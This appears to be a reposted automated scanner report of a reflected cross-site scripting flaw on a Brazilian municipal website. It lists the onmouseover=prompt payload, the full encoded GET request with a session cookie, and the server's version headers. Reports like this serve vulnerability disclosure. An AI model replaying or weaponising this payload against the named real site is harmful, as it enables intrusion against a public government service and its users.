Discovered by: Scripting (XSS.script). Attack details Path Fragment input - was set to onmouseover=prompt(939009) bad= The input is reflected inside a tag parameter between double quotes. View HTTP headers Request GET /home-ipsa/index.php/assistencia/assistencia-medica/hospitais/120-%22%20onmouseover%3dprompt%28939009%29%20bad%3d%22/420-hospitais-em-sao-paulo HTTP/1.1 Cookie: 3506550c631eb475ba9e3493f2e9dfc3=pfe137vp7rc8s9djf2l3v84b24 Host: www2.santoandre.sp.gov.br Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept: */* Response HTTP/1.1 200 OK Date: Tue, 05 Nov 2013 17:49:16 GMT Server: Apache/2.2.22 (Ubuntu) X-Powered-By: PHP/5.3.10-1ubuntu3.8 X-Logged-In: False P3P: CP=NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM Cache-Control: no-cache Pragma: no-cache Vary: Accept-Encoding Content-Length: 25274 Keep-Alive: timeout=5, max=22 Connection: Keep-Alive Content-Type: text/html; charset=utf-8
Posted on: Tue, 05 Nov 2013 18:06:32 +0000
Trending Topics
Recently Viewed Topics
© 2015